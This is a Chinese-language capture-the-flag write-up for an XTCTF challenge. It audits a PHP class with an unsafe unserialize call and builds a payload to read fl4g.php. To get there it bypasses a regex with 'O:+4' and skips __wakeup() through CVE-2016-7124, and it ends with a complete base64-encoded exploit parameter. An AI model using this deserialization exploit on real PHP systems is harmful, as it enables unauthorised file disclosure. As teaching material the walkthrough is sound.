题目描述

题目来源: XTCTF
打开题目连接,页面显示如下PHP代码:

  1. <?php
  2. class Demo {
  3. private $file = 'index.php';
  4. public function __construct($file) {
  5. // 构造方法:当new对象时自动调用
  6. $this->file = $file;
  7. }
  8. function __destruct() {
  9. // 析构方法:当对象被销毁的时候自动调用
  10. echo @highlight_file($this->file, true);
  11. }
  12. function __wakeup() {
  13. // 一旦进入该方法,$this->file的值就会被复制
  14. if ($this->file != 'index.php') {
  15. //the secret is in the fl4g.php
  16. $this->file = 'index.php';
  17. }
  18. }
  19. }
  20. if (isset($_GET['var'])) {
  21. $var = base64_decode($_GET['var']);
  22. if (preg_match('/[oc]:\d+:/i', $var)) {
  23. die('stop hacking!'); // 这里需要绕过正则匹配
  24. } else {
  25. @unserialize($var);
  26. }
  27. } else {
  28. highlight_file("index.php");
  29. }
  30. ?>

代码审计

要想利用该反序列化漏洞,需要绕过正则匹配__wakeup()
根据代码的注释,flag在fl4g.php文件中,构造序列化的字符串,将fil属性的值改为”fl4g.php”
想要构造序列化字符串,首先要看一看序列化后的字符串是什么样子的

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
}
$d1 = new Demo("fl4g.php");
$str1 = serialize($d1);  
var_dump($str1);

打印出来的效果
image.png
将序列化的字符串打印出来,我们可以看到s:10:"Demofile"为什么是10个字符呢,那是因为在php中,private修饰的成员在序列化后的字符串其实是这样子的:s:10:"\00Demo\00file"\00 是不可打印字符,所以看不出来。如果不知道这点,草率的复制,然后直接修改,会出错。

绕过正则与__wakeup()

由于正则表达式的存在,O:4会被匹配到,绕过的思路:将4变为+4
利用CVE-2016-7124漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

漏洞影响版本 PHP5 < 5.6.25 PHP7 < 7.0.10

漏洞产生原因

如果存在wakeup方法,调用 unserilize方法前则先调用wakeup方法,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行

修改序列化字符串,构造payload

方式1:使用str_replace()修改序列化字符串,这种方式不会影响\00

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $b = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
    $b = str_replace(':1:', ':2:',$b);//绕过wakeup
    echo (base64_encode($b));
 ?>

方式2:修改序列化字符串,添加无法显示的字符:\00

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo('fl4g.php');
$payload = "O:+4:\"Demo\":2:{s:10:\"\00Demo\00file\";s:8:\"fl4g.php\";}";
echo (base64_encode($payload));
?>

由于$var = base64_decode($_GET['var']);所以需要对payload进行一次base64编码

最终的payload

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==